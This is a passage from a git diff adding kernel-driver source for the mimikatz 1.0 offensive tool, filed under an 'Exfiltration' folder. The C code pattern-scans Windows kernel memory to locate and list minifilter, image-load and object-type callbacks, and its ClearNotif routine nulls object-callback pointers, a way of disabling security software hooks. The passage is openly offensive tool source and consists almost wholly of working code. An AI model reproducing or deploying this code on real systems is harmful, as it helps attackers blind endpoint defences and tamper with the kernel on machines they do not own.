cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n"); +} diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.h b/Exfiltration/mimikatz-1.0/driver/mimikatz.h new file mode 100644 index 0000000..3ece6e2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.h @@ -0,0 +1,26 @@ +#pragma once + +#include "minifilters.h" +#include "fsfilters.h" +#include "modules.h" +#include "processes.h" +#include "ssdt.h" + +#include "notify.h" + +#include "k_types.h" + +#include + +extern PSHORT NtBuildNumber; +ULONG getWindowsIndex(); + +DRIVER_INITIALIZE DriverEntry; +DRIVER_UNLOAD DriverUnload; + +DRIVER_DISPATCH UnSupported; +__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read; +__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write; + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc); +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.c b/Exfiltration/mimikatz-1.0/driver/minifilters.c new file mode 100644 index 0000000..90ba7ef --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.c @@ -0,0 +1,193 @@ +#include "minifilters.h" + +const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] = +{ + /* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/ +/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */ +/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048}, +/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050} +#endif +}; + +const WCHAR *irpToName[] = { + L"CREATE", + L"CREATE_NAMED_PIPE", + L"CLOSE", + L"READ", + L"WRITE", + L"QUERY_INFORMATION", + L"SET_INFORMATION", + L"QUERY_EA", + L"SET_EA", + L"FLUSH_BUFFERS", + L"QUERY_VOLUME_INFORMATION", + L"SET_VOLUME_INFORMATION", + L"DIRECTORY_CONTROL", + L"FILE_SYSTEM_CONTROL", + L"DEVICE_CONTROL", + L"INTERNAL_DEVICE_CONTROL", + L"SHUTDOWN", + L"LOCK_CONTROL", + L"CLEANUP", + L"CREATE_MAILSLOT", + L"QUERY_SECURITY", + L"SET_SECURITY", + L"POWER", + L"SYSTEM_CONTROL", + L"DEVICE_CHANGE", + L"QUERY_QUOTA", + L"SET_QUOTA", + L"PNP", +}; + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + + ULONG i, j, k; + + ULONG NumberFiltersReturned = 0; + PFLT_FILTER *FilterList = NULL; + + ULONG BytesReturned = 0; + PFILTER_FULL_INFORMATION myFilterFullInformation = NULL; + + PFLT_INSTANCE *InstanceList = NULL; + ULONG NumberInstancesReturned = 0; + + PFLT_VOLUME RetVolume = NULL; + + PVOID monCallBack, preCallBack, postCallBack; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n"); + if(NT_SUCCESS(status)) + { + status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0)) + { + FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG); + if(FilterList != NULL) + { + status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned); + for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0)) + { + myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG); + if(myFilterFullInformation != NULL) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned); + if(NT_SUCCESS(status)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%*.*ws\n", + myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR), + myFilterFullInformation->FilterNameBuffer + ); + + if(NT_SUCCESS(status)) + { + status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0)) + { + InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG); + if(InstanceList != NULL) + { + status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned); + for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++) + { + /* + http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx + * InstanceName + * Altitude + * VolumeName + - FilterName + */ + + if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume))) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u @ %wZ\n", + j, + (PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF]) + ); + FltObjectDereference (RetVolume); + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u\n", + j + ); + } + + for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++) + { + monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k); + if(monCallBack != NULL) + { + preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]); + postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]); + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" [0x%2x %-24ws] ", + k, + irpToName[k - 0x16] + ); + + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + + } + } + } + FltObjectDereference (InstanceList[j]); + } + ExFreePoolWithTag(InstanceList, POOL_TAG); + } + } + } + } + ExFreePoolWithTag(myFilterFullInformation, POOL_TAG); + } + } + FltObjectDereference (FilterList[i]); + } + ExFreePoolWithTag(FilterList, POOL_TAG); + } + } + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.h b/Exfiltration/mimikatz-1.0/driver/minifilters.h new file mode 100644 index 0000000..647031a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.h @@ -0,0 +1,12 @@ +#pragma once +#include +#include "k_types.h" +#include "modules.h" + +#define INDEX_MF_CALLBACK_OFF 0 +#define INDEX_MF_CALLBACK_PRE_OFF 1 +#define INDEX_MF_CALLBACK_POST_OFF 2 +#define INDEX_MF_VOLUME_NAME_OFF 3 +#define MAX_MF_LEN 4 + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.c b/Exfiltration/mimikatz-1.0/driver/mod_memory.c new file mode 100644 index 0000000..d5a05b3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.c @@ -0,0 +1,32 @@ +#include "mod_memory.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur) +{ + for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1) + { + if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur) + { + return STATUS_SUCCESS; + } + } + *addressePattern = NULL; + return STATUS_NOT_FOUND; +} + +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo) +{ + NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur); + if(NT_SUCCESS(status)) + { + *addressePointeur += offsetTo; + #ifdef _M_X64 + *addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur); + #elif defined _M_IX86 + *addressePointeur = *(PUCHAR *)(*addressePointeur); + #endif + + if(!*addressePointeur) + status = STATUS_INVALID_HANDLE; + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.h b/Exfiltration/mimikatz-1.0/driver/mod_memory.h new file mode 100644 index 0000000..0c10fb9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.h @@ -0,0 +1,5 @@ +#pragma once +#include "k_types.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur); +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo); diff --git a/Exfiltration/mimikatz-1.0/driver/modules.c b/Exfiltration/mimikatz-1.0/driver/modules.c new file mode 100644 index 0000000..7ca3551 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.c @@ -0,0 +1,110 @@ +#include "modules.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p - %.8u [%S] %S\n", + modules[i].BasicInfo.ImageBase, + modules[i].ImageSize, + modules[i].FullPathName + modules[i].FileNameOffset, + modules[i].FullPathName + ); + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = STATUS_NOT_FOUND; + if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p [%S+%u]", + theAddr, + modules[i].FullPathName + modules[i].FileNameOffset, + theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase + ); + break; + } + + + } + + if(status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr); + if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND; + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + + + diff --git a/Exfiltration/mimikatz-1.0/driver/modules.h b/Exfiltration/mimikatz-1.0/driver/modules.h new file mode 100644 index 0000000..86fe625 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.h @@ -0,0 +1,7 @@ +#pragma once +#include +#include +#include "k_types.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify.h b/Exfiltration/mimikatz-1.0/driver/notify.h new file mode 100644 index 0000000..8ee225a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify.h @@ -0,0 +1,19 @@ +#pragma once +#include +#include "k_types.h" +#include "modules.h" +#include "mod_memory.h" +#include "notify_process.h" +#include "notify_thread.h" +#include "notify_image.h" +#include "notify_reg.h" +#include "notify_object.h" + +typedef struct _KIWI_CALLBACK +{ + #ifdef _M_IX86 + PVOID unk0; + #endif + PVOID * callback; + LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi +} KIWI_CALLBACK, *PKIWI_CALLBACK; diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.c b/Exfiltration/mimikatz-1.0/driver/notify_image.c new file mode 100644 index 0000000..6f03fd4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.c @@ -0,0 +1,117 @@ +#include "notify_image.h" + +ULONG * PspLoadImageNotifyRoutineCount = NULL; +PVOID * PspLoadImageNotifyRoutine = NULL; + +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspLoadImageNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspLoadImageNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image); + UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image); + + LONG OFFS_WNT5_Count = - 0x0c; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56}; + UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6}; + UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6}; + LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID); + + LONG OFFS_WNT5_Count = - 0x18; + LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + LONG OFFS_WIN8_Count = - 0x20; + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Image; + taille = sizeof(PTRN_WNT5_Image); + #ifdef _M_X64 + offsetTo = OFFS_WNT5_Image; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Image; + taille = sizeof(PTRN_WNT6_Image); + offsetTo = OFFS_WNT6_Image; + offsetToCount = OFFS_WNT6_Count; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Image; + taille = sizeof(PTRN_WNO8_Image); + offsetToCount = OFFS_WNO8_Count; + } + else + { + pattern = PTRN_WIN8_Image; + taille = sizeof(PTRN_WIN8_Image); + offsetToCount = OFFS_WIN8_Count; + } + #endif + } + #ifdef _M_IX86 + offsetTo = OFFS_WALL_Image; + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspLoadImageNotifyRoutine = (PVOID) (pointeur); + PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.h b/Exfiltration/mimikatz-1.0/driver/notify_image.h new file mode 100644 index 0000000..f6e0711 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.h @@ -0,0 +1,10 @@ +#pragma once +#include "notify.h" + +#define MAX_NT_PspLoadImageNotifyRoutine 8 + +ULONG * PspLoadImageNotifyRoutineCount; +PVOID * PspLoadImageNotifyRoutine; + +NTSTATUS getPspLoadImageNotifyRoutine(); +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.c b/Exfiltration/mimikatz-1.0/driver/notify_object.c new file mode 100644 index 0000000..9eac3bb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.c @@ -0,0 +1,173 @@ +#include "notify_object.h" + +POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL; + +const WCHAR *procCallToName[] = { + L"Dump ", + L"Open ", + L"Close ", + L"Delete ", + L"Parse ", + L"Security ", + L"QueryName ", + L"OkayToClose", +}; + +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif); +} + +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif); +} + +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action) +{ + NTSTATUS status; + ULONG i, j; + POBJECT_DIRECTORY_ENTRY monEntree; + POBJECT_TYPE monType, monTypeDecal; + PVOID * miniProc; + POBJECT_CALLBACK_ENTRY pStruct; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n"); + + if(NT_SUCCESS(status)) + { + status = getObpTypeDirectoryObject(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++) + { + if((*ObpTypeDirectoryObject)->HashBuckets[i]) + { + for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry) + { + if(monType = monEntree->Object) + { + if(INDEX_OS < INDEX_VISTA) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE)); + + if(action == ListNotif) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name)); + for(j = 0; (j < 8) && NT_SUCCESS(status); j++) + { + miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j + #ifdef _M_IX86 + - ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0) + #endif + ); + if(*miniProc) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + if(INDEX_OS >= INDEX_VISTA) + { + if(INDEX_OS < INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK)); + else if (INDEX_OS > INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks + + for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink) + { + if(pStruct->PreOperation || pStruct->PostOperation) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);; + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + + if(action == ClearNotif) + { + pStruct->PreOperation = NULL; + pStruct->PostOperation = NULL; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n"); + } + } + } + } + } + } + } + } + } + } + return status; +} + +NTSTATUS getObpTypeDirectoryObject() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3; + #elif defined _M_IX86 + UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + #endif + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + + if(ObpTypeDirectoryObject) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType"); + if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refFin = refDebut + PAGE_SIZE; + + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + offsetTo = OFFS_WNT5_Object; + else + { + offsetTo = OFFS_WNO8_Object; + #ifdef _M_X64 + refFin = refDebut - PAGE_SIZE; + #endif + } + } + else + offsetTo = OFFS_WIN8_Object; + + retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo); + } + } + return retour; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.h b/Exfiltration/mimikatz-1.0/driver/notify_object.h new file mode 100644 index 0000000..96d5517 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.h @@ -0,0 +1,79 @@ +#pragma once +#include "notify.h" + +#define OBJECT_HASH_TABLE_SIZE 37 + +typedef struct _OBJECT_DIRECTORY_ENTRY { + struct _OBJECT_DIRECTORY_ENTRY *NextEntry; + PVOID Object; + ULONG HashValue; // pas en NT5 +} 